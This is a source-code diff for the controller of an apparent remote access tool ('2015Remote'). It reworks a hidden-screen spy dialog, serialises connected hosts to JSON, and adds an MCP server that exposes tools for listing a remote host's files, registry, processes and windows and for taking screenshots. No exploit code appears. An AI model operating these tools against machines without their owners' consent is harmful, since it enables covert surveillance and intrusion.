 CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
     : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
 {
@@ -90,11 +93,33 @@ BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog)
     ON_WM_PAINT()
     ON_WM_TIMER()
     ON_WM_CLOSE()
+    ON_WM_SETCURSOR()
 END_MESSAGE_MAP()
 
 
 /////////////////////////////////////////////////////////////////////////////
 // CHideScreenSpyDlg message handlers
+BOOL CHideScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
+{
+    // 查看模式(未开启远程控制)：客户区显示禁止图标；标题栏及系统按钮保持正常箭头，
+    // 便于拖动窗口或通过标题栏右键菜单开启远程控制。
+    // 这里按窗口自身状态判断，避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
+    // 共享串扰——第二个对话框切到查看模式后，第一个控制中的对话框也被误显示成禁止图标。
+    if (!m_bIsCtrl && nHitTest == HTCLIENT) {
+        ::SetCursor(LoadCursor(NULL, IDC_NO));
+        return TRUE;
+    }
+    if (!m_bIsCtrl &&
+        (nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
+         nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
+         nHitTest == HTHELP)) {
+        ::SetCursor(LoadCursor(NULL, IDC_ARROW));
+        return TRUE;
+    }
+    // 控制模式：交父类处理，显示窗口类光标（远程光标形状）
+    return __super::OnSetCursor(pWnd, nHitTest, message);
+}
+
 void CHideScreenSpyDlg::OnClose()
 {
     if (!m_aviFile.IsEmpty()) {
@@ -153,11 +178,22 @@ bool CHideScreenSpyDlg::SaveSnapshot()
     return true;
 }
 
+CString CHideScreenSpyDlg::GetTitleHostName() const
+{
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    if (g_2015RemoteDlg && g_2015RemoteDlg->m_ClientMap) {
+        CString note = g_2015RemoteDlg->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
+        if (!note.IsEmpty())
+            return note;
+    }
+    return m_IPAddress;
+}
+
 BOOL CHideScreenSpyDlg::OnInitDialog()
 {
     __super::OnInitDialog();
     CString strString;
-    strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress,
+    strString.FormatL("%s - 远程虚拟屏幕 %d×%d", GetTitleHostName().GetString(),
                       m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
     SetWindowText(strString);
 
@@ -165,7 +201,6 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
     // when the application's main window is not a dialog
     SetIcon(m_hIcon, TRUE);			// Set big icon
     SetIcon(m_hIcon, FALSE);		// Set small icon
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
     CMenu* pSysMenu = GetSystemMenu(FALSE);
     if (pSysMenu != NULL) {
         pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
@@ -214,15 +249,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
     }
 
     // TODO: Add extra initialization here
-    m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
-    ICONINFO CursorInfo;
-    ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
     pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
-    SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
-    if (CursorInfo.hbmMask != NULL)
-        ::DeleteObject(CursorInfo.hbmMask);
-    if (CursorInfo.hbmColor != NULL)
-        ::DeleteObject(CursorInfo.hbmColor);
     // 初始化窗口大小结构
     m_hFullDC = ::GetDC(m_hWnd);
     m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
@@ -440,11 +467,6 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
     case IDM_CONTROL: {
         m_bIsCtrl = !m_bIsCtrl;
         pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
-
-        if (m_bIsCtrl) {
-            SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
-        } else
-            SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
     }
     break;
 

server/2015Remote/HideScreenSpyDlg.h

@@ -59,6 +59,7 @@ public:
     afx_msg void OnPaint();
     afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
     afx_msg void OnSize(UINT nType, int cx, int cy);
+    afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
 
     virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
 
@@ -71,11 +72,13 @@ protected:
     bool JPG_BMP(int cbit, void* input, int inlen, void* output);
     void ResetScreen();
 
+    // 标题栏显示的主机名：有备注用备注，否则用 IP
+    CString GetTitleHostName() const;
+
     HDC                 m_hFullDC, m_hFullMemDC;
     HBITMAP	            m_BitmapHandle;
     LPVOID              m_BitmapData_Full;
     LPBITMAPINFO        m_BitmapInfor_Full;
-    HCURSOR	            m_hRemoteCursor;
     CCursorInfo	        m_CursorInfo;
     BOOL                m_bIsFirst;
     BOOL                m_bIsCtrl;

server/2015Remote/HostJson.cpp

@@ -0,0 +1,117 @@
+#include "stdafx.h"
+#include "HostJson.h"
+#include "HostInfo.h"          // _ClientList / MAP_NOTE
+#include "context.h"           // context 接口 + ONLINELIST_* 枚举
+#include "2015RemoteDlg.h"     // GetClientEncoding 辅助函数（UTF-8 能力位判断）
+
+#ifndef _WIN64
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncppd.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp.lib")
+#endif
+#else
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
+#endif
+#endif
+
+// Helper: Convert ANSI (GBK) string to UTF-8
+// （自 WebService.cpp 抽出，供 BuildDeviceListJson 与 BuildHostJson 共用）
+static std::string AnsiToUtf8(const CString& str) {
+    if (str.IsEmpty()) return "";
+#ifdef _UNICODE
+    // Unicode build: CString is already UTF-16, convert to UTF-8
+    int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
+    if (len <= 0) return "";
+    std::string result(len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
+    return result;
+#else
+    // MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
+    int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
+    if (wlen <= 0) return "";
+    std::wstring wstr(wlen - 1, L'\0');
+    MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
+
+    int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+    if (u8len <= 0) return "";
+    std::string result(u8len - 1, '\0');
+    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
+    return result;
+#endif
+}
+
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
+    Json::Value device;
+
+    if (!ctx) return device;  // 空 context → 返回 null Json::Value
+
+    // Use string for ID to avoid JavaScript number precision loss
+    device["id"] = std::to_string(ctx->GetClientID());
+
+    CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
+    device["name"] = AnsiToUtf8(name);
+
+    // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
+    if (clientMap) {
+        CString remark = clientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
+        if (!remark.IsEmpty()) {
+            device["remark"] = AnsiToUtf8(remark);
+        }
+    }
+
+    CString ip = ctx->GetClientData(ONLINELIST_IP);
+    device["ip"] = AnsiToUtf8(ip);
+
+    CString os = ctx->GetClientData(ONLINELIST_OS);
+    device["os"] = AnsiToUtf8(os);
+
+    CString location = ctx->GetClientData(ONLINELIST_LOCATION);
+    device["location"] = AnsiToUtf8(location);
+
+    CString rtt = ctx->GetClientData(ONLINELIST_PING);
+    device["rtt"] = AnsiToUtf8(rtt);
+
+    CString version = ctx->GetClientData(ONLINELIST_VERSION);
+    device["version"] = AnsiToUtf8(version);
+
+    // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
+    // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
+    CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
+    std::string activeWindowU8;
+    if (!activeWindow.IsEmpty()) {
+        UINT cp = GetClientEncoding(ctx);
+        int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
+        if (wlen > 1) {
+            std::wstring w(wlen - 1, L'\0');
+            MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
+            int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+            if (u8len > 1) {
+                activeWindowU8.resize(u8len - 1);
+                WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
+            }
+        }
+    }
+    device["activeWindow"] = activeWindowU8;
+    device["online"] = true;
+
+    // Add device group to response
+    std::string deviceGroup = ctx->GetGroupName();
+    if (deviceGroup.empty()) deviceGroup = "default";
+    device["group"] = deviceGroup;
+
+    // Get screen info from client's reported resolution
+    // Format: "n:MxN" where n=monitor count, M=width, N=height
+    CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
+    if (!resolution.IsEmpty()) {
+        device["screen"] = AnsiToUtf8(resolution);  // e.g. "2:3840x1080"
+    }
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    device["clientType"] = AnsiToUtf8(clientType);  // e.g. "MAC", "LNX", "EXE"
+
+    return device;
+}

server/2015Remote/HostJson.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#include "jsoncpp/json.h"
+
+class context;
+class _ClientList;
+
+// 公共函数：将单台在线主机 context 序列化为 JSON（UTF-8，含 GBK/UTF-8 编码处理）。
+// 供 Web UI（CWebService::BuildDeviceListJson）与 MCP 工具（list_online_hosts）复用，
+// 避免两处重复易错的编码转换（见 docs/Mcp_Design.md §3.4 方案 C）。
+//
+// 职责边界：本函数只负责「单台主机 → Json::Value」的字段序列化与编码转换。
+// 分组/用户过滤、m_cs 加锁、外层结构（Web 的 {"cmd","devices"} vs MCP 的 {"hosts"}）
+// 属于调用方，不进本函数。调用方须在 m_cs 锁内调用。
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);

server/2015Remote/McpServer.h

@@ -0,0 +1,140 @@
+#pragma once
+
+#include <Windows.h>
+#include <string>
+#include <thread>
+#include <atomic>
+#include <chrono>
+#include <mutex>
+#include <condition_variable>
+#include <map>
+#include <vector>
+#include <cstdint>
+
+// httplib 与 Windows 头部的 min/max 宏冲突，按 file_server.h 的既有约定处理。
+#undef min
+#undef max
+#include "httplib.h"
+#ifndef max
+#define max(a,b) (((a) > (b)) ? (a) : (b))
+#endif
+#ifndef min
+#define min(a,b) (((a) < (b)) ? (a) : (b))
+#endif
+
+#pragma comment(lib, "ws2_32.lib")
+
+class CMy2015RemoteDlg;
+class context;
+
+// MCP (Model Context Protocol) 服务端：httplib 封装 + JSON-RPC 2.0 分发 + 静态 token 校验。
+// 与 CWebService 平级、互不依赖；默认禁用，经「扩展 → MCP设置」开启后监听
+// （默认 127.0.0.1:6544，仅本机回环）。见 docs/Mcp_Design.md。
+class CMcpServer {
+public:
+    static CMcpServer& Instance();
+
+    void SetParentDlg(CMy2015RemoteDlg* pDlg) { m_parent = pDlg; }
+    void SetToken(const std::string& token) { m_token = token; }
+
+    bool Start(const std::string& bind, int port);
+    void Stop();
+    bool IsRunning() const { return m_running.load(); }
+
+    // ===== P2b：无请求 id 的一次性响应 → 每 host 单飞行 =====
+    // 进程/窗口列表（TOKEN_PSLIST/TOKEN_WSLIST，一次性子链接）与历史活动
+    // （TOKEN_REPORT_ACTIVITY，主连接 RPC）都不带请求关联，同一 host 同一时刻
+    // 只允许一个挂起请求，避免同 host 并发请求响应归属歧义。
+    // 注意：单飞行只约束 MCP 侧同 host 并发，不约束与 MFC 对话框并存（各用独立子链接）。
+
+    // 该 host 是否已有挂起请求（MessageHandle 在 TOKEN_PSLIST/TOKEN_WSLIST 分支调用）。
+    bool IsPending(uint64_t device_id);
+
+    // 拷贝响应缓冲到挂起结果并唤醒等待者（在 MessageHandle 内同步调用，数据此时仍在
+    // context 缓冲中、IO 线程被阻塞，拷贝是安全的）。
+    void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len);
+
+    // 工具线程：登记挂起（false = 该 host 已有挂起请求，设备忙）。
+    bool BeginPending(uint64_t device_id, const std::string& tool);
+
+    // 工具线程：等待响应；成功返回 true 并把缓冲写入 out，超时/失败返回 false（并清理）。
+    bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
+
+    // 工具线程：清理挂起状态（发送失败等提前退出路径）。
+    void ClearPending(uint64_t device_id);
+
+    // ===== P2c：list_files / get_screenshot 扩展 =====
+
+    // 登记挂起（带目录路径；list_files 专用，path 为空表示只列盘）。
+    bool BeginPending(uint64_t device_id, const std::string& tool, const std::string& path);
+
+    // get_screenshot：工具线程生成 16 位 reqId（跳过 0，0 表示未设置），用于丢弃过期响应。
+    uint16_t NextPreviewReqId();
+
+    // get_screenshot：登记期望的 reqId（必须在发送 COMMAND_SCREEN_PREVIEW_REQ 前调用）。
+    void SetPendingReqId(uint64_t device_id, uint16_t reqId);
+
+    // get_screenshot：MessageHandle(TOKEN_SCREEN_PREVIEW_RSP) 在 IO 线程同步调用；
+    // 挂起命中且 reqId 一致则拷贝响应并返回 true，否则 false（回落到 MFC 预览路径）。
+    bool TakePreviewResponse(uint64_t device_id, uint16_t reqId, const BYTE* data, ULONG len);
+
+    // list_files：MessageHandle(TOKEN_DRIVE_LIST) 调用。
+    // 返回 true = 已取走盘列表（调用方 CancelIO）；false = 已转向下发 COMMAND_LIST_FILES、
+    // 等 TOKEN_FILE_LIST（调用方不关子链接）。
+    bool OnDriveList(uint64_t device_id, context* subCtx, const BYTE* buf, ULONG len);
+
+    // ===== P3：list_registry（注册表查询，三阶段：COMMAND_REGEDIT → TOKEN_REGEDIT →
+    // COMMAND_REG_FIND → TOKEN_REG_PATH + TOKEN_REG_KEY）=====
+
+    // MessageHandle(TOKEN_REGEDIT) 调用：挂起命中且为 list_registry 则下发 COMMAND_REG_FIND
+    // 并返回 true（接管子链接，不打开 MFC 对话框）；否则 false（回落 MFC）。
+    bool OnRegeditReady(uint64_t device_id, context* subCtx);
+
+    // MessageHandle(TOKEN_REG_PATH / TOKEN_REG_KEY) 调用：两包都到齐后置 done 并唤醒等待者。
+    void TakeRegPath(uint64_t device_id, const BYTE* data, ULONG len);
+    void TakeRegKey(uint64_t device_id, const BYTE* data, ULONG len);
+
+    // 工具线程：等待注册表两包（子键 + 值）；成功返回 true 并把两包分别写入 out，超时返回 false。
+    bool WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subkeys,
+                             std::vector<BYTE>& values, int timeoutMs);
+
+private:
+    CMcpServer();
+    ~CMcpServer();
+    CMcpServer(const CMcpServer&) = delete;
+    CMcpServer& operator=(const CMcpServer&) = delete;
+
+    // POST /mcp 处理器：token 校验 + JSON-RPC 分发。
+    void HandleMcp(const httplib::Request& req, httplib::Response& res);
+
+    httplib::Server    m_server;
+    std::thread        m_thread;
+    std::atomic<bool>  m_running{false};
+    std::string        m_token;
+    CMy2015RemoteDlg*  m_parent = nullptr;
+
+    // 挂起请求注册表（受 m_PendingMutex 保护，键 = device_id）。
+    struct PendingRequest {
+        std::string       tool;
+        std::string       path;              // list_files：目录路径；list_registry：rootToken(1B)+相对子键路径
+        uint16_t          expectedReqId = 0; // get_screenshot：期望的预览 reqId（0 = 未设置）
+        std::vector<BYTE> data;
+        std::vector<BYTE> regPath;           // list_registry：TOKEN_REG_PATH 子键包（含 token 字节）
+        std::vector<BYTE> regKey;            // list_registry：TOKEN_REG_KEY 值包（含 token 字节）
+        bool              pathDone = false;  // list_registry：已收到 TOKEN_REG_PATH
+        bool              keyDone  = false;  // list_registry：已收到 TOKEN_REG_KEY
+        bool              done = false;
+    };
+    std::mutex                   m_PendingMutex;
+    std::condition_variable      m_PendingCv;
+    std::map<uint64_t, PendingRequest> m_Pending;
+
+    // get_screenshot 的 reqId 发生器（16 位，跳过 0）。与 MFC 预览的 m_PreviewReqId 各自独立计数。
+    std::atomic<uint16_t>        m_PreviewReqId{1};
+};
+
+// 全局访问器（仿 WebService()，见 WebService.h 末尾）
+inline CMcpServer& McpServer() { return CMcpServer::Instance(); }
+
+// 生成 32 hex（128-bit）随机 token；供运行时兜底与「MCP设置」对话框预填复用。
+std::string GenerateRandomToken();

server/2015Remote/McpSettingsDlg.cpp

@@ -0,0 +1,191 @@
+#include "stdafx.h"
+#include "McpSettingsDlg.h"
+#include "LangManager.h"     // _TR / MessageBoxL
+#include "McpServer.h"       // GenerateRandomToken
+#include "2015Remote.h"      // THIS_CFG (GetThisCfg)
+#include <atlconv.h>
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+namespace {
+
+// 构造一个无控件的 DLGTEMPLATE：cdit=0，控件由 OnInitDialog 动态创建。
+// （与 ZstaPickerDlg.cpp 内同名函数一致）
+void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption, short cx, short cy)
+{
+    out.clear();
+    auto append = [&](const void* p, size_t n) {
+        const BYTE* b = (const BYTE*)p;
+        out.insert(out.end(), b, b + n);
+    };
+    auto appendW = [&](WORD v) {
+        out.push_back((BYTE)(v & 0xFF));
+        out.push_back((BYTE)((v >> 8) & 0xFF));
+    };
+    auto appendWStr = [&](LPCWSTR s) {
+        size_t n = wcslen(s);
+        append(s, (n + 1) * sizeof(WCHAR));
+    };
+
+    DLGTEMPLATE dt = { 0 };
+    dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
+               WS_POPUP | WS_CAPTION | WS_SYSMENU;
+    dt.dwExtendedStyle = 0;
+    dt.cdit = 0;
+    dt.x = 0; dt.y = 0;
+    dt.cx = cx; dt.cy = cy;
+    append(&dt, sizeof(dt));
+    appendW(0);                          // no menu
+    appendW(0);                          // default dialog class
+    appendWStr(caption);                 // caption
+    appendW(8);                          // font point size
+    appendWStr(L"MS Shell Dlg");         // typeface
+
+    while (out.size() % 4) out.push_back(0); // DWORD align
+}
+
+} // namespace
+
+BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
+END_MESSAGE_MAP()
+
+CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
+    : CDialog((LPCTSTR)NULL, parent)
+{
+}
+
+INT_PTR CMcpSettingsDlg::DoModal()
+{
+    USES_CONVERSION;
+    CString title = _TR("MCP设置");
+    BuildDialogTemplate(m_Template, T2CW(title), 320, 150);
+    InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
+    return CDialog::DoModal();
+}
+
+BOOL CMcpSettingsDlg::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    CRect cli;
+    GetClientRect(&cli);
+
+    // 占位 rect，真正布局在 LayoutControls 里
+    CRect r0(0, 0, 10, 10);
+
+    m_btnEnable.Create(_TR("启用 MCP"),
+                       WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                       r0, this, IDC_MCP_ENABLE);
+    m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                      r0, this, IDC_MCP_PORT);
+    m_lblBind.Create(_TR("绑定地址"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editBind.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                      r0, this, IDC_MCP_BIND);
+    m_lblToken.Create(_TR("Token"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editToken.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                       r0, this, IDC_MCP_TOKEN);
+    m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
+                   r0, this, IDOK);
+    m_btnCancel.Create(_TR("取消"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
+                       r0, this, IDCANCEL);
+
+    // 子控件继承对话框字体 (DS_SETFONT)
+    HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
+    if (hFont) {
+        m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
+    // 回填配置（首次打开且 token 为空时预填随机值，随保存持久化）
+    int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
+    int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
+    std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+    std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
+    if (tok.empty()) tok = GenerateRandomToken();
+
+    m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
+    m_editPort.SetWindowText(CString(std::to_string(port).c_str()));
+    m_editBind.SetWindowText(CString(bind.c_str()));
+    m_editToken.SetWindowText(CString(tok.c_str()));
+
+    LayoutControls(cli.Width(), cli.Height());
+    return TRUE;
+}
+
+void CMcpSettingsDlg::OnOK()
+{
+    CString sPort, sBind, sToken;
+    m_editPort.GetWindowText(sPort);
+    m_editBind.GetWindowText(sBind);
+    m_editToken.GetWindowText(sToken);
+    bool enabled = (m_btnEnable.GetCheck() == BST_CHECKED);
+
+    // 端口校验：1-65535
+    int port = atoi(CT2A(sPort));
+    if (port < 1 || port > 65535) {
+        MessageBoxL(_TR("端口需为 1-65535 的数字"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    std::string bind = CT2A(sBind);
+    if (bind.empty()) bind = "127.0.0.1";
+
+    std::string token = CT2A(sToken);
+    if (enabled && token.empty()) {
+        MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    // 落盘
+    THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpPort", port);
+    THIS_CFG.SetStr("settings", "McpBind", bind);
+    THIS_CFG.SetStr("settings", "McpToken", token);
+
+    // 拆成两段可翻译的单行键，中间用 \r\n 连接（多行键无法在 INI 中表示）
+    MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
+               _TR("启用/端口/绑定地址/Token 的改动需重启程序生效。"),
+               _TR("提示"), MB_ICONINFORMATION);
+
+    CDialog::OnOK();
+}
+
+void CMcpSettingsDlg::LayoutControls(int cx, int cy)
+{
+    const int margin = 14;
+    const int labelW = 72;
+    const int rowH = 24;
+    const int gap = 10;
+    const int btnW = 88;
+    const int btnH = 26;
+
+    int y = margin;
+    m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    m_lblPort.MoveWindow(margin, y, labelW, rowH);
+    m_editPort.MoveWindow(margin + labelW, y - 2, 100, rowH);
+    y += rowH + gap;
+
+    m_lblBind.MoveWindow(margin, y, labelW, rowH);
+    m_editBind.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
+    y += rowH + gap;
+
+    m_lblToken.MoveWindow(margin, y, labelW, rowH);
+    m_editToken.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
+    y += rowH + gap;
+
+    int bottomY = cy - margin - btnH;
+    m_btnCancel.MoveWindow(cx - margin - btnW, bottomY, btnW, btnH);
+    m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, bottomY, btnW, btnH);
+}

server/2015Remote/McpSettingsDlg.h

@@ -0,0 +1,39 @@
+#pragma once
+
+#include <afxwin.h>
+#include <afxcmn.h>
+#include <vector>
+
+// 「MCP设置」配置对话框：启用 MCP / 端口 / 绑定地址 / Token。
+// 因 2015Remote.rc 为 UTF-16 编码、不宜手工编辑，参照 ZstaPickerDlg 用
+// InitModalIndirect + 内存 DLGTEMPLATE 程序化创建（见 docs/Mcp_Design.md §3.8）。
+class CMcpSettingsDlg : public CDialog
+{
+public:
+    explicit CMcpSettingsDlg(CWnd* parent = nullptr);
+
+    virtual INT_PTR DoModal();
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void OnOK();
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    enum CtrlId {
+        IDC_MCP_ENABLE = 1001,  // 「启用 MCP」复选框
+        IDC_MCP_PORT   = 1002,  // 端口编辑框
+        IDC_MCP_BIND   = 1003,  // 绑定地址编辑框
+        IDC_MCP_TOKEN  = 1004,  // Token 编辑框
+    };
+
+    CButton m_btnEnable;
+    CStatic m_lblPort, m_lblBind, m_lblToken;
+    CEdit   m_editPort, m_editBind, m_editToken;
+    CButton m_btnOK, m_btnCancel;
+
+    std::vector<BYTE> m_Template;  // 内存 DLGTEMPLATE 字节
+
+    void LayoutControls(int cx, int cy);
+};

server/2015Remote/NotifyConfig.h

@@ -104,10 +104,14 @@ inline const char* GetColumnName(int index) {
         "Camera",          // 6
         "RTT",             // 7
         "Version",         // 8
-        "Privilege",       // 9  ONLINELIST_PRIVILEGE
+        "InstallTime",     // 9  ONLINELIST_INSTALLTIME
-        "InstallTime",     // 10 ONLINELIST_INSTALLTIME
+        "ActiveWindow",    // 10 ONLINELIST_LOGINTIME
-        "ActiveWindow",    // 11 ONLINELIST_LOGINTIME
+        "ClientType",      // 11 ONLINELIST_CLIENTTYPE
-        "ClientType",      // 12 ONLINELIST_CLIENTTYPE
+        "Path",            // 12 ONLINELIST_PATH
+        "PublicIP",        // 13 ONLINELIST_PUBIP
+        "StartTime",       // 14 ONLINELIST_STARTTIME
+        "Capabilities",    // 15 ONLINELIST_CAPABILITIES
+        "Privilege",       // 16 ONLINELIST_PRIVILEGE
     };
     if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
         return names[index];

server/2015Remote/NotifyManager.cpp

@@ -141,35 +141,52 @@ bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, c
         }
     }
 
-    // Get column text (for COMPUTER_NAME column, prefer remark if available)
+    // Split pattern by semicolon and get keywords
+    std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
+
+    // Helper: check if any keyword matches a given column text
+    auto matchColumn = [&keywords, this](const CString& colText) -> std::string {
+        if (colText.IsEmpty()) return "";
+        std::string colTextStr = CT2A(colText, CP_UTF8);
+        std::string colLower = colTextStr;
+        std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
+
+        for (const auto& kw : keywords) {
+            std::string trimmed = Trim(kw);
+            if (trimmed.empty()) continue;
+
+            std::string kwLower = trimmed;
+            std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
+
+            if (colLower.find(kwLower) != std::string::npos) {
+                return trimmed;
+            }
+        }
+        return "";
+    };
+
+    // Check primary column (for COMPUTER_NAME column, prefer remark if available)
     CString colText;
     if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
         colText = remark;
     } else {
         colText = ctx->GetClientData(rule.columnIndex);
     }
-    if (colText.IsEmpty()) return false;
+    std::string matched = matchColumn(colText);
-
+    if (!matched.empty()) {
-    // Convert to std::string for matching
+        outMatchedKeyword = matched;
-    std::string colTextStr = CT2A(colText, CP_UTF8);
-
-    // Split pattern by semicolon and check each keyword
-    std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
-    for (const auto& kw : keywords) {
-        std::string trimmed = Trim(kw);
-        if (trimmed.empty()) continue;
-
-        // Case-insensitive substring search
-        std::string colLower = colTextStr;
-        std::string kwLower = trimmed;
-        std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
-        std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
-
-        if (colLower.find(kwLower) != std::string::npos) {
-            outMatchedKeyword = trimmed;
         m_config.lastNotifyTime[clientId] = now;
         return true;
     }
+
+    // Also check the IP column (ONLINELIST_IP) so IP keywords added from log
+    // messages can match against host IP addresses when they come online.
+    CString ipText = ctx->GetClientData(ONLINELIST_IP);
